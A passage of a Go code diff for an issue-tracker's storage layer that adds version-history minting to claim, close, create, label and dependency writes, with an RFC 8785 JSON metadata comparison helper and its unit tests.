applyLabelPatch's, for the same reason. +func applyParentPatch(ctx context.Context, tx DBTX, current *types.Issue, parent publicops.Field[string], actor string, mintVersion bool) (ParentPatchResult, error) { if !parent.Set { return ParentPatchResult{}, nil } @@ -379,14 +406,21 @@ func ApplyParentPatch(ctx context.Context, tx DBTX, current *types.Issue, parent if !ok { return ParentPatchResult{}, fmt.Errorf("apply parent: transaction must be *sql.Tx") } + // The edge helpers run without minting: the patch is one mutation of the + // child's edge set and is versioned once below, after the last edge. var recomputed RecomputeIsBlockedResult for _, parentID := range stringSetDifference(existing, target) { - if _, err := removeDependencyInTx(ctx, sqlTx, current.ID, parentID, actor, false, &recomputed); err != nil { + if _, err := removeDependencyInTx(ctx, sqlTx, current.ID, parentID, actor, false, &recomputed, false); err != nil { return ParentPatchResult{}, err } } for _, parentID := range stringSetDifference(target, existing) { - if _, err := addDependencyInTx(ctx, sqlTx, &types.Dependency{IssueID: current.ID, DependsOnID: parentID, Type: types.DepParentChild}, actor, AddDependencyOpts{}, &recomputed); err != nil { + if _, err := addDependencyInTx(ctx, sqlTx, &types.Dependency{IssueID: current.ID, DependsOnID: parentID, Type: types.DepParentChild}, actor, AddDependencyOpts{}, &recomputed, false); err != nil { + return ParentPatchResult{}, err + } + } + if mintVersion { + if err := RecordVersionInTx(ctx, tx, current.ID, actor); err != nil { return ParentPatchResult{}, err } } diff --git a/internal/storage/issueops/claim.go b/internal/storage/issueops/claim.go index a55e2481a..8d5733bfb 100644 --- a/internal/storage/issueops/claim.go +++ b/internal/storage/issueops/claim.go @@ -31,9 +31,21 @@ type ClaimResult struct { // success (supports agent retry workflows). // Routes to the correct table (issues/wisps) automatically. // The caller is responsible for Dolt versioning (DOLT_ADD/COMMIT) if needed. +// A claim that wrote the row mints one version row (assignee, status and +// started_at are durable state); the idempotent re-claim mints nothing. +func ClaimIssueInTx(ctx context.Context, tx DBTX, id string, actor string) (*ClaimResult, error) { + return claimIssueInTx(ctx, tx, id, actor, true) +} + +// claimIssueInTx is the body of ClaimIssueInTx. mintVersion controls whether a +// successful claim mints its own version row: the exported entry point always +// does, while ExecuteUpdate — which may apply field, label, parent and +// persistence patches after the claim in the same call — passes false and +// mints exactly once after the last of them, so the version carries the final +// state and one guarded update never records two. // //nolint:gosec // G201: table names come from WispTableRouting (hardcoded constants) -func ClaimIssueInTx(ctx context.Context, tx DBTX, id string, actor string) (*ClaimResult, error) { +func claimIssueInTx(ctx context.Context, tx DBTX, id string, actor string, mintVersion bool) (*ClaimResult, error) { // The CAS below writes assignee = actor. actor is user-settable (--actor / // BEADS_ACTOR), so bound it against the VARCHAR(255) assignee column up front // and return a typed ErrFieldTooLong rather than a raw backend error. @@ -218,10 +230,16 @@ func ClaimIssueInTx(ctx context.Context, tx DBTX, id string, actor string) (*Cla // A claim changes assignee and status, so it journals as an update. The // idempotent re-claim path returns above without writing and journals - // nothing. + // nothing — and mints nothing: the version row below is for a claim that + // actually rewrote the row. if err := RecordEventInTx(ctx, tx, EventUpdate, id, actor); err != nil { return nil, err } + if mintVersion { + if err := RecordVersionInTx(ctx, tx, id, actor); err != nil { + return nil, err + } + } return &ClaimResult{OldIssue: oldIssue, IsWisp: isWisp}, nil } diff --git a/internal/storage/issueops/close.go b/internal/storage/issueops/close.go index 0c70107f0..725665886 100644 --- a/internal/storage/issueops/close.go +++ b/internal/storage/issueops/close.go @@ -383,10 +383,17 @@ func closeIssueInTx(ctx context.Context, tx DBTX, id string, reason, actor, sess } // Snapshot only after all derived blocked-state maintenance has completed. - // recordEvent gates the human audit event, never the journal. + // recordEvent gates the human audit event, never the journal — nor the + // version row: a close changes status, closed_at, close_reason and + // closed_by_session, all durable state, so it mints whether or not the + // audit event was suppressed (as update.go already does). The rows == 0 + // return above (already closed) wrote nothing and mints nothing. if err := RecordEventInTx(ctx, tx, EventClose, id, actor); err != nil { return nil, err } + if err := RecordVersionInTx(ctx, tx, id, actor); err != nil { + return nil, err + } return &CloseResult{IsWisp: isWisp, IssueRowsChanged: !isWisp || recompute.IssueRowsChanged}, nil } diff --git a/internal/storage/issueops/create.go b/internal/storage/issueops/create.go index 86f4ae895..76e3eee5d 100644 --- a/internal/storage/issueops/create.go +++ b/internal/storage/issueops/create.go @@ -31,6 +31,15 @@ type BatchContext struct { // issue for a result the caller discards. Singular creates leave this // false so they keep reconciling immediately, per-issue. SkipChildCounterReconcile bool + // DeferVersionMint tells CreateIssueInTxWithResult NOT to mint the + // issue's version row itself but to report the deferral on its result. + // CreateIssuesInTxWithContext sets this because it persists the batch's + // creation-time dependency edges AFTER the per-issue loop, and the first + // version must carry that outgoing edge set: it mints once per accepted + // issue after the edges (and the blocked-state recompute) have landed. + // Singular creates leave this false and mint in place — they never run + // the dependency pass. + DeferVersionMint bool } // NewBatchContext reads config from the database and returns a BatchContext. @@ -76,6 +85,11 @@ type CreateIssueResult struct { // up to the entry point so their journal rows land AFTER the create's. A // consumer must never see a comment for a bead it has not been told about. persistedComments []EventComment + // versionDeferred reports that this create reached the version seam but + // left the mint to the batch entry point (BatchContext.DeferVersionMint). + // Set only on the path that would otherwise have minted, so the batch + // mints for exactly the issues a singular create would have. + versionDeferred bool } type persistedDependency struct { @@ -193,6 +207,15 @@ func CreateIssueInTxWithResult(ctx context.Context, tx DBTX, bc *BatchContext, i if err := RecordEventInTx(ctx, tx, EventCreate, issue.ID, actor); err != nil { return result, err } + // The version row is the create's LAST durable-state write. A batch + // create persists this issue's outgoing edges after this function returns, + // so it defers the mint to its own end (DeferVersionMint); a singular + // create has nothing after this point and mints here. + if bc.DeferVersionMint { + result.versionDeferred = true + } else if err := RecordVersionInTx(ctx, tx, issue.ID, actor); err != nil { + return result, err + } // Creation-time comments (import/interchange carries them inline) are // replayable content the create snapshot does NOT contain — issue hydration // joins labels but not comments — so each inserted comment gets its own op, @@ -299,15 +322,24 @@ func CreateIssuesInTxWithContext(ctx context.Context, tx DBTX, bc *BatchContext, // reconcile behavior. batch := *bc batch.SkipChildCounterReconcile = true + // The per-issue create leaves the version mint to this function: the + // creation-time edges below land after the per-issue loop, and the first + // version of each issue must carry them (one version per issue at + // creation, minted last). + batch.DeferVersionMint = true result := CreateIssuesResult{} accepted := issues[:0:0] + var toVersion []string for _, issue := range issues { issueResult, err := CreateIssueInTxWithResult(ctx, tx, &batch, issue, actor) if err != nil { return CreateIssuesResult{}, err } result.merge(issueResult.ChangedTables) + if issueResult.versionDeferred { + toVersion = append(toVersion, issue.ID) + } if issueResult.StaleRejected { continue // stale snapshot: keep its deps out of the batch too } @@ -343,6 +375,16 @@ func CreateIssuesInTxWithContext(ctx context.Context, tx DBTX, bc *BatchContext, if recomputed.WispRowsChanged { result.markChanged("wisps") } + // Mint each created issue's first version LAST — after its creation-time + // edges and the blocked-state recompute — so durable_state carries the + // outgoing edge set. PersistDependenciesWithOptionsResult writes the edge + // rows directly and mints nothing itself, so this is the one version per + // issue at creation. Wisps are excluded by the seam. + for _, id := range toVersion { + if err := RecordVersionInTx(ctx, tx, id, actor); err != nil { + return CreateIssuesResult{}, err + } + } return result, nil } diff --git a/internal/storage/issueops/dependencies.go b/internal/storage/issueops/dependencies.go index d7189157e..d91f8fbdd 100644 --- a/internal/storage/issueops/dependencies.go +++ b/internal/storage/issueops/dependencies.go @@ -1,18 +1,37 @@ package issueops import ( + "bytes" "context" "database/sql" "errors" "fmt" "strings" + "github.com/gowebpki/jcs" "github.com/steveyegge/beads/internal/storage/depid" "github.com/steveyegge/beads/internal/storage/domain" "github.com/steveyegge/beads/internal/storage/sqlbuild" "github.com/steveyegge/beads/internal/types" ) +// DependencyMetadataEqual reports whether two dependency metadata JSON +// strings are semantically equal per RFC 8785 (JCS), not merely byte-equal. +// Dolt's native JSON column re-canonicalizes stored text on write (spacing, +// key order, number form), so a byte compare between newly-supplied metadata +// and metadata just read back from the column falsely reports a change on +// every non-empty value (#6650). Both dependency re-add idempotency checks +// share this so they can't drift. Falls back to a byte compare if either +// side fails to parse as JSON. +func DependencyMetadataEqual(a, b string) bool { + aCanon, aErr := jcs.Transform([]byte(a)) + bCanon, bErr := jcs.Transform([]byte(b)) + if aErr != nil || bErr != nil { + return a == b + } + return bytes.Equal(aCanon, bCanon) +} + type DepTargetKind int const ( @@ -159,7 +178,8 @@ type DepTargetPrecheck struct { // - Source/target existence validation // - Hierarchy deadlock validation for blocking deps (GH#1495, bd-wg7ve) // - Cycle detection via recursive CTE across both dependency tables -// - Idempotent same-type updates (metadata only) +// - Idempotent same-type re-adds: a metadata change updates it, a +// change-free re-add writes and journals nothing (#5898 R3) // - Type conflict detection // // The caller is responsible for transaction lifecycle, dolt commits, and @@ -170,11 +190,23 @@ type DepTargetPrecheck struct { // same-type re-add or a silent structural add. Callers that stage tables for a // Dolt commit stage the events table only when an event row exists, so a // no-event add cannot sweep unrelated pending rows into the commit (GH#2455). +// +// A genuinely new edge is a change to the referencing (source) issue's durable +// state, so it mints one version row for the source — on EVERY leg that reaches +// this helper (the dependency editor, the legacy store verbs, batch apply), +// whether or not an audit event was requested. A same-type re-add that changes +// metadata is the same kind of durable-state change and mints on the same +// terms; only a genuinely change-free re-add (identical type and metadata) +// mints nothing. func AddDependencyInTx(ctx context.Context, tx *sql.Tx, dep *types.Dependency, actor string, opts AddDependencyOpts) (bool, error) { - return addDependencyInTx(ctx, tx, dep, actor, opts, nil) + return addDependencyInTx(ctx, tx, dep, actor, opts, nil, true) } -func addDependencyInTx(ctx context.Context, tx *sql.Tx, dep *types.Dependency, actor string, opts AddDependencyOpts, recomputeResult *RecomputeIsBlockedResult) (bool, error) { +// addDependencyInTx is the body of AddDependencyInTx. mintVersion controls +// whether a new edge mints the source's version row here: the exported entry +// point always does, while a parent patch (applyParentPatch) rewires several +// edges for one caller-visible mutation and mints once after the last of them. +func addDependencyInTx(ctx context.Context, tx *sql.Tx, dep *types.Dependency, actor string, opts AddDependencyOpts, recomputeResult *RecomputeIsBlockedResult, mintVersion bool) (bool, error) { if strings.HasPrefix(dep.DependsOnID, "external:") && dep.Type == types.DepParentChild { return false, fmt.Errorf("external capability dependencies cannot use parent-child edges") } @@ -263,13 +295,24 @@ func addDependencyInTx(ctx context.Context, tx *sql.Tx, dep *types.Dependency, a // target expression defensively so stale/reclassified rows in another typed // target column cannot bypass the idempotency/conflict check. var existingType string + var existingMetadataNS sql.NullString //nolint:gosec // G201: writeTable from WispTableRouting; depTargetEquals has no user input. - err := tx.QueryRowContext(ctx, fmt.Sprintf(`SELECT type FROM %s WHERE issue_id = ? AND %s`, writeTable, depTargetEquals("")), - dep.IssueID, dep.DependsOnID).Scan(&existingType) + err := tx.QueryRowContext(ctx, fmt.Sprintf(`SELECT type, metadata FROM %s WHERE issue_id = ? AND %s`, writeTable, depTargetEquals("")), + dep.IssueID, dep.DependsOnID).Scan(&existingType, &existingMetadataNS) if err == nil { + existingMetadata := existingMetadataNS.String + if !existingMetadataNS.Valid { + existingMetadata = "{}" + } if existingType == string(dep.Type) { - // Same type — idempotent; update metadata. No event is written, so the - // caller must not stage the events table for this re-add. + if DependencyMetadataEqual(existingMetadata, metadata) { + // Same type, same metadata: a change-free write. Nothing is + // written and nothing is journaled (#5898 R3). + return false, nil + } + // Same type, different metadata — idempotent; update metadata. No + // event is written, so the caller must not stage the events table + // for this re-add. //nolint:gosec // G201: writeTable from WispTableRouting; depTargetEquals has no user input. if _, err := tx.ExecContext(ctx, fmt.Sprintf(`UPDATE %s SET metadata = ? WHERE issue_id = ? AND %s`, writeTable, depTargetEquals("")), metadata, dep.IssueID, dep.DependsOnID); err != nil { @@ -278,7 +321,15 @@ func addDependencyInTx(ctx context.Context, tx *sql.Tx, dep *types.Dependency, a // A same-type add refreshes edge metadata. It is an observable graph // mutation, so emit the complete replacement edge for replay even // though no audit event is written. - return false, RecordDepEventInTx(ctx, tx, EventDepAdd, dep.IssueID, string(dep.Type), dep.DependsOnID, metadata, actor) + if err := RecordDepEventInTx(ctx, tx, EventDepAdd, dep.IssueID, string(dep.Type), dep.DependsOnID, metadata, actor); err != nil { + return false, err + } + // The metadata genuinely changed, so — unlike the change-free + // branch above — this re-add is a real durable-state mutation of + // the source issue and mints on the same terms as a new edge + // (#5898 leg 2: "a same-type re-add whose metadata actually + // changed mints EXACTLY ONE version carrying the new state"). + return false, mintDependencyVersion(ctx, tx, dep.IssueID, actor, mintVersion) } return false, &domain.DependencyTypeConflictError{ IssueID: dep.IssueID, @@ -351,15 +402,36 @@ func addDependencyInTx(ctx context.Context, tx *sql.Tx, dep *types.Dependency, a } mergeRecomputeIsBlockedResult(recomputeResult, recomputed) // Snapshot only after all derived blocked-state maintenance has completed. - return eventWritten, RecordDepEventInTx(ctx, tx, EventDepAdd, dep.IssueID, string(dep.Type), dep.DependsOnID, metadata, actor) + if err := RecordDepEventInTx(ctx, tx, EventDepAdd, dep.IssueID, string(dep.Type), dep.DependsOnID, metadata, actor); err != nil { + return eventWritten, err + } + return eventWritten, mintDependencyVersion(ctx, tx, dep.IssueID, actor, mintVersion) } if err := MarkIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return false, fmt.Errorf("mark is_blocked after add dependency %s -> %s: %w", dep.IssueID, dep.DependsOnID, err) } // Snapshot only after all derived blocked-state maintenance has completed. // The journal is never gated on opts.EmitEvent: a structurally-wired edge is - // as real to a replaying consumer as one added by an explicit dep verb. - return eventWritten, RecordDepEventInTx(ctx, tx, EventDepAdd, dep.IssueID, string(dep.Type), dep.DependsOnID, metadata, actor) + // as real to a replaying consumer as one added by an explicit dep verb — + // and neither is the version row minted beside it. + if err := RecordDepEventInTx(ctx, tx, EventDepAdd, dep.IssueID, string(dep.Type), dep.DependsOnID, metadata, actor); err != nil { + return eventWritten, err + } + return eventWritten, mintDependencyVersion(ctx, tx, dep.IssueID, actor, mintVersion) +} + +// mintDependencyVersion versions the referencing (source) issue of an edge that +// was actually inserted, deleted, or had its metadata refreshed by a same-type +// re-add: the version-history seam for every dependency write path, reached +// from addDependencyInTx and removeDependencyInTx only past a real row write — +// never from a genuinely change-free re-add or the absent-edge return, which +// mint nothing. mint false defers to a caller that mints once for a +// multi-edge mutation. A wisp source is excluded by the seam itself. +func mintDependencyVersion(ctx context.Context, tx DBTX, issueID, actor string, mint bool) error { + if !mint { + return nil + } + return RecordVersionInTx(ctx, tx, issueID, actor) } // RemoveSourceFromAffected drops the dep source from the affected-ID sets @@ -984,10 +1056,15 @@ func checkRenameTargetCollision(ctx context.Context, tx DBTX, table, typedCol, n // //nolint:gosec // G201: depTable from WispTableRouting (hardcoded constants) func RemoveDependencyInTx(ctx context.Context, tx *sql.Tx, issueID, dependsOnID, actor string, emitEvent bool) (bool, error) { - return removeDependencyInTx(ctx, tx, issueID, dependsOnID, actor, emitEvent, nil) + return removeDependencyInTx(ctx, tx, issueID, dependsOnID, actor, emitEvent, nil, true) } -func removeDependencyInTx(ctx context.Context, tx *sql.Tx, issueID, dependsOnID, actor string, emitEvent bool, recomputeResult *RecomputeIsBlockedResult) (bool, error) { +// removeDependencyInTx is the body of RemoveDependencyInTx. A deleted edge is a +// change to the source issue's durable state and mints one version row for it, +// whether or not an audit event was requested; an absent edge returns before +// any write and mints nothing. mintVersion is addDependencyInTx's, for the +// same reason. +func removeDependencyInTx(ctx context.Context, tx *sql.Tx, issueID, dependsOnID, actor string, emitEvent bool, recomputeResult *RecomputeIsBlockedResult, mintVersion bool) (bool, error) { isWisp := IsActiveWispInTx(ctx, tx, issueID) _, _, eventTable, depTable := WispTableRouting(isWisp) @@ -1041,8 +1118,12 @@ func removeDependencyInTx(ctx context.Context, tx *sql.Tx, issueID, dependsOnID, mergeRecomputeIsBlockedResult(recomputeResult, recomputed) // Snapshot only after all derived blocked-state maintenance has completed. // Never gated on emitEvent — a structural removal is as real to a replaying - // consumer as one from an explicit dep verb. - return eventWritten, RecordDepEventInTx(ctx, tx, EventDepRemove, issueID, depType, dependsOnID, depMetadata, actor) + // consumer as one from an explicit dep verb. The same holds for the + // version row minted beside it. + if err := RecordDepEventInTx(ctx, tx, EventDepRemove, issueID, depType, dependsOnID, depMetadata, actor); err != nil { + return eventWritten, err + } + return eventWritten, mintDependencyVersion(ctx, tx, issueID, actor, mintVersion) } func mergeRecomputeIsBlockedResult(target *RecomputeIsBlockedResult, source RecomputeIsBlockedResult) { diff --git a/internal/storage/issueops/dependencies_test.go b/internal/storage/issueops/dependencies_test.go index 88880eb33..0ec0a484d 100644 --- a/internal/storage/issueops/dependencies_test.go +++ b/internal/storage/issueops/dependencies_test.go @@ -259,3 +259,94 @@ func TestReplaceDependencyTargetRekeysCascadedRows(t *testing.T) { t.Fatalf("unmet sql expectations: %v", err) } } + +// TestDependencyMetadataEqualComparesValuesNotBytes pins the change-free +// re-add gate's comparison rule. The gate decides between "nothing happened" +// and "a real mutation of the source issue" by comparing metadata the CALLER +// supplied against metadata read back out of a native JSON column, and a +// native JSON column is free to re-canonicalize what it persists — Dolt's +// inserts a space after ':', sorts object keys, and narrows a bare integral +// float to an int. A byte compare therefore reports a change on values that +// never changed. Each same-value row here is a spelling difference a byte +// compare fails and a JCS (RFC 8785) compare survives (#6650). +func TestDependencyMetadataEqualComparesValuesNotBytes(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + a string + b string + want bool + }{ + {name: "IdenticalBytes", a: `{"gate":"any-children"}`, b: `{"gate":"any-children"}`, want: true}, + {name: "EmptyObjects", a: `{}`, b: `{}`, want: true}, + {name: "StorageInsertedSpacing", a: `{"gate":"any-children"}`, b: `{"gate": "any-children"}`, want: true}, + {name: "StorageSortedKeys", a: `{"spawner_id":"src-1","gate":"any-children"}`, b: `{"gate":"any-children","spawner_id":"src-1"}`, want: true}, + {name: "StorageNarrowedIntegralFloat", a: `{"weight":1.0}`, b: `{"weight":1}`, want: true}, + {name: "DifferentValue", a: `{"note":"v1"}`, b: `{"note":"v2"}`, want: false}, + {name: "DifferentKey", a: `{"gate":"any-children"}`, b: `{"mode":"any-children"}`, want: false}, + {name: "EmptyVersusPopulated", a: `{}`, b: `{"gate":"any-children"}`, want: false}, + // Neither side parses, so the rule falls back to the byte compare it + // replaced rather than calling two unparseable strings equal. + {name: "UnparseableFallsBackToBytesEqual", a: `not json`, b: `not json`, want: true}, + {name: "UnparseableFallsBackToBytesUnequal", a: `not json`, b: `also not json`, want: false}, + {name: "OneSideUnparseableFallsBackToBytes", a: `{"gate":"any-children"}`, b: `{"gate":`, want: false}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + if got := DependencyMetadataEqual(tc.a, tc.b); got != tc.want { + t.Errorf("DependencyMetadataEqual(%q, %q) = %v, want %v", tc.a, tc.b, got, tc.want) + } + // The rule is symmetric: which side came from the column and + // which from the caller must not change the answer. + if got := DependencyMetadataEqual(tc.b, tc.a); got != tc.want { + t.Errorf("DependencyMetadataEqual(%q, %q) = %v, want %v (asymmetric)", tc.b, tc.a, got, tc.want) + } + }) + } +} + +// TestAddDependencyInTxReadsNullStoredMetadataAsEmptyObject pins the widened +// SELECT's handling of a SQL-NULL metadata column. dependencies.metadata is +// nullable (`JSON DEFAULT (JSON_OBJECT())`, no NOT NULL), so a row written out +// of band — bd sql, an external tool, hand SQL — can hold NULL. Before the +// re-add gate read metadata at all this path scanned only `type` and was +// idempotently happy; scanning NULL into a plain string would hard-fail it +// with "converting NULL to string is unsupported", turning every subsequent +// re-add of that edge into an error. NULL is the absent-metadata state, so it +// reads as `{}` and the change-free re-add of a metadata-free edge stays the +// no-op it was. +func TestAddDependencyInTxReadsNullStoredMetadataAsEmptyObject(t *testing.T) { + t.Parallel() + + _, mock, tx := beginMockTx(t) + + mock.ExpectQuery(regexp.QuoteMeta("SELECT issue_type FROM issues WHERE id = ?")). + WithArgs("dep-a"). + WillReturnRows(sqlmock.NewRows([]string{"issue_type"}).AddRow("task")) + mock.ExpectQuery(regexp.QuoteMeta("SELECT type, metadata FROM dependencies")). + WithArgs("dep-a", "dep-b"). + WillReturnRows(sqlmock.NewRows([]string{"type", "metadata"}).AddRow(string(types.DepRelated), nil)) + + kind := DepTargetIssue + dep := &types.Dependency{IssueID: "dep-a", DependsOnID: "dep-b", Type: types.DepRelated} + created, err := AddDependencyInTx(context.Background(), tx, dep, "writer", AddDependencyOpts{ + SourceTable: "issues", + TargetTable: "issues", + WriteTable: "dependencies", + SkipCycleCheck: true, + TargetKind: &kind, + PrecheckedTarget: &DepTargetPrecheck{IssueType: "task"}, + }) + if err != nil { + t.Fatalf("AddDependencyInTx(existing edge with NULL metadata) = %v, want nil: a change-free re-add is a no-op, not an error", err) + } + if created { + t.Error("AddDependencyInTx reported the edge as created; the edge already existed with the requested type") + } + // No UPDATE and no journal write are expected: scripting only the two + // reads means any write this path attempted would fail the run. + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet sql expectations: %v", err) + } +} diff --git a/internal/storage/issueops/dependency_editor.go b/internal/storage/issueops/dependency_editor.go index b13b90a66..ec8cb46b1 100644 --- a/internal/storage/issueops/dependency_editor.go +++ b/internal/storage/issueops/dependency_editor.go @@ -173,6 +173,11 @@ func addDependencyEdgeInTx(ctx context.Context, tx *sql.Tx, request publicops.Ad if err != nil { return nil, err } + // The edge's referencing (source) issue is versioned by AddDependencyInTx + // itself, at the row write — once, and only for a genuinely inserted row + // (the idempotent re-add mints nothing, the same exemption eventWritten + // draws for the events table below) — so every leg that reaches that + // helper versions identically and this role adds no second mint. // Stage the source's dependency table always and its events table only // when a row was recorded — the same selective staging the stores' own // AddDependencyWithOptions does, so an idempotent re-add cannot sweep @@ -258,6 +263,9 @@ func ExecuteRemoveDependency(ctx context.Context, tx *sql.Tx, request publicops. if !eventWritten { return publicops.RemoveDependencyResult{Removed: false}, nil, nil } + // A removal that actually happened versioned the referencing issue inside + // RemoveDependencyInTx, at the row delete; an absent edge returned above + // without ever reaching that seam. tables := ChangedTables{} tables.Add(depTable, eventTable) return publicops.RemoveDependencyResult{Removed: true}, tables, nil diff --git a/internal/storage/issueops/execution.go b/internal/storage/issueops/execution.go index c0c7a621b..af1208596 100644 --- a/internal/storage/issueops/execution.go +++ b/internal/storage/issueops/execution.go @@ -169,9 +169,14 @@ func ExecuteUpdate(ctx context.Context, tx *sql.Tx, request publicops.UpdateRequ if err := AuthorizeAssigneeTransfer(ctx, tx, before, attempt); err != nil { return publicops.UpdateResult{}, nil, err } + // Every constituent below runs its no-mint variant: one guarded update is + // one caller-visible mutation, and its version is minted exactly once at + // the end, after the last patch, so durable_state carries the final row, + // label set and edge set rather than whichever write happened to run + // first. changedAny := false if attempt.Claim { - claimed, err := ClaimIssueInTx(ctx, tx, attempt.IssueID, attempt.Actor) + claimed, err := claimIssueInTx(ctx, tx, attempt.IssueID, attempt.Actor, false) if err != nil { return publicops.UpdateResult{}, nil, err } @@ -209,7 +214,7 @@ func ExecuteUpdate(ctx context.Context, tx *sql.Tx, request publicops.UpdateRequ updates[OpForceClosePolicy] = true } if len(updates) > 0 { - updated, err := UpdateIssueInTx(ctx, tx, attempt.IssueID, updates, attempt.Actor) + updated, err := updateIssueInTx(ctx, tx, attempt.IssueID, updates, attempt.Actor, true, false) if err != nil { return publicops.UpdateResult{}, nil, err } @@ -222,7 +227,7 @@ func ExecuteUpdate(ctx context.Context, tx *sql.Tx, request publicops.UpdateRequ } } } - labelsChanged, err := ApplyLabelPatch(ctx, tx, current, attempt.Patch.Labels, attempt.Actor) + labelsChanged, err := applyLabelPatch(ctx, tx, current, attempt.Patch.Labels, attempt.Actor, false) if err != nil { return publicops.UpdateResult{}, nil, err } @@ -231,7 +236,7 @@ func ExecuteUpdate(ctx context.Context, tx *sql.Tx, request publicops.UpdateRequ _, labelTable, eventTable, _ := WispTableRouting(IsActiveWispInTx(ctx, tx, attempt.IssueID)) tables.Add(labelTable, eventTable) } - parentResult, err := ApplyParentPatch(ctx, tx, current, attempt.Patch.ParentID, attempt.Actor) + parentResult, err := applyParentPatch(ctx, tx, current, attempt.Patch.ParentID, attempt.Actor, false) if err != nil { return publicops.UpdateResult{}, nil, err } @@ -248,7 +253,7 @@ func ExecuteUpdate(ctx context.Context, tx *sql.Tx, request publicops.UpdateRequ if err != nil { return publicops.UpdateResult{}, nil, err } - moved, err := MoveIssuePersistenceInTx(ctx, tx, current, attempt.Patch.Persistence.Value, attempt.Actor) + moved, err := moveIssuePersistenceInTx(ctx, tx, current, attempt.Patch.Persistence.Value, attempt.Actor, false) if err != nil { return publicops.UpdateResult{}, nil, err } @@ -257,6 +262,15 @@ func ExecuteUpdate(ctx context.Context, tx *sql.Tx, request publicops.UpdateRequ tables.Merge(moved.ChangedTables) } } + // The one mint for this guarded update, LAST: after the claim, the row + // write, the label and parent patches and the persistence move. Nothing + // changed means nothing to version (the FR-2 no-op case), and a row that + // moved to the wisp plane is excluded by the seam itself. + if changedAny { + if err := RecordVersionInTx(ctx, tx, attempt.IssueID, attempt.Actor); err != nil { + return publicops.UpdateResult{}, nil, err + } + } hydrated, err := HydrateIssueOperationResult(ctx, tx, attempt.IssueID, false) if err != nil { return publicops.UpdateResult{}, nil, err diff --git a/internal/storage/issueops/journal_completeness_test.go b/internal/storage/issueops/journal_completeness_test.go index d14458524..8f33f4106 100644 --- a/internal/storage/issueops/journal_completeness_test.go +++ b/internal/storage/issueops/journal_completeness_test.go @@ -136,13 +136,15 @@ var mutationEntryPoints = []string{ // beadDMLExemptions are exported functions the DML detector flags as writing a // work-bead table but which legitimately do NOT journal, each with a reason. -// They fall into four buckets: (1) derived child-counter maintenance; (2) +// They fall into five buckets: (1) derived child-counter maintenance; (2) // aux-table writers the templated-%s heuristic can't distinguish from a bead // table (events, child counters); (3) constituent sub-helpers of a // create/rename/promote/delete whose top-level entry point journals the whole // mutation once; (4) compaction maintenance outside the -// create/update/close/delete/dep/label op vocabulary. The staleness check fails -// if any stops being flagged, so an exemption cannot rot. +// create/update/close/delete/dep/label op vocabulary; (5) dual-write +// version-history bookkeeping that runs after the mutation is already +// journaled. The staleness check fails if any stops being flagged, so an +// exemption cannot rot. var beadDMLExemptions = map[string]string{ // (1) Child counters are derived CLI acceleration state. In contrast, // is_blocked is part of the exported bead snapshot and its recompute helpers @@ -182,6 +184,20 @@ var beadDMLExemptions = map[string]string{ // omission is invisible to consumers. "ApplyCompactionInTx": "compaction content rewrite outside the op vocabulary; consumer mirrors of this bead go stale until its next journaled mutation (known contract gap, carried from the reference lineage)", "RestoreFromSnapshotInTx": "restores a compacted issue outside the op vocabulary; consumer mirrors of this bead go stale until its next journaled mutation (known contract gap, carried from the reference lineage)", + + // (5) dual-write version-history bookkeeping. RecordVersionInTx is called + // from inside the same mutationEntryPoints functions (the create, update, + // close, reopen, claim, release, lease-reclaim, defer-wake, label, + // dependency, promote and persistence-move bodies, and their domain/db + // equivalents used by the uow leg — version_completeness_test.go pins the + // set) immediately after those callers already invoke RecordEventInTx, so the + // mutation itself is already journaled by the time RecordVersionInTx runs. + // Its own UPDATE issues SET current_revision = ? only advances a + // denormalized pointer to match the snapshot row it just inserted into + // issue_versions (not a bead table, so it can't anchor the exemption on + // its own) — bookkeeping for an already-journaled mutation, not a second + // mutation that needs its own emit. + "RecordVersionInTx": "advances the denormalized current_revision pointer to match a snapshot just inserted into issue_versions (not a bead table); called from the same entry points that already journal the mutation via RecordEventInTx, so this is bookkeeping for an already-journaled mutation, not a second one", } // journalExemptMutations are mutation paths that deliberately do NOT journal diff --git a/internal/storage/issueops/labels.go b/internal/storage/issueops/labels.go index 89ef888ea..4859d08a6 100644 --- a/internal/storage/issueops/labels.go +++ b/internal/storage/issueops/labels.go @@ -130,8 +130,18 @@ func getLabelsIntoFromTable(ctx context.Context, tx DBTX, labelTable string, ids // AddLabelInTx adds a label to an issue and records an event within an existing // transaction. Automatically routes to wisp tables if the ID is an active wisp. -// Uses INSERT IGNORE for idempotency. +// Uses INSERT IGNORE for idempotency. A label is part of the issue's durable +// state, so a label that was actually inserted mints a version row; an +// idempotent re-add (INSERT IGNORE affecting no row) mints nothing. func AddLabelInTx(ctx context.Context, tx DBTX, labelTable, eventTable, issueID, label, actor string) error { + return addLabelInTx(ctx, tx, labelTable, eventTable, issueID, label, actor, true) +} + +// addLabelInTx is the body of AddLabelInTx. mintVersion controls whether an +// inserted label mints its own version row: the exported entry point always +// does, while a label patch (applyLabelPatch) writes several rows for one +// caller-visible mutation and mints once after the last of them. +func addLabelInTx(ctx context.Context, tx DBTX, labelTable, eventTable, issueID, label, actor string, mintVersion bool) error { // Reject an over-length label up front. The INSERT IGNORE below would // otherwise silently truncate it to the VARCHAR(255) column, storing a label // the caller never sent; a typed ErrFieldTooLong is the clean rejection. @@ -149,9 +159,14 @@ func AddLabelInTx(ctx context.Context, tx DBTX, labelTable, eventTable, issueID, } } //nolint:gosec // G201: labelTable is from WispTableRouting ("labels" or "wisp_labels") - if _, err := tx.ExecContext(ctx, fmt.Sprintf(`INSERT IGNORE INTO %s (issue_id, label) VALUES (?, ?)`, labelTable), issueID, label); err != nil { + res, err := tx.ExecContext(ctx, fmt.Sprintf(`INSERT IGNORE INTO %s (issue_id, label) VALUES (?, ?)`, labelTable), issueID, label) + if err != nil { return fmt.Errorf("add label: %w", err) } + inserted, err := res.RowsAffected() + if err != nil { + return fmt.Errorf("add label: rows affected: %w", err) + } comment := "Added label: " + label if err := InsertDerivedEvent(ctx, tx, eventTable, AuxEvent{ IssueID: issueID, @@ -163,15 +178,31 @@ func AddLabelInTx(ctx context.Context, tx DBTX, labelTable, eventTable, issueID, } // A label is part of the bead snapshot, so a label write journals as an // update carrying the complete post-mutation set. - return RecordEventInTx(ctx, tx, EventUpdate, issueID, actor) + if err := RecordEventInTx(ctx, tx, EventUpdate, issueID, actor); err != nil { + return err + 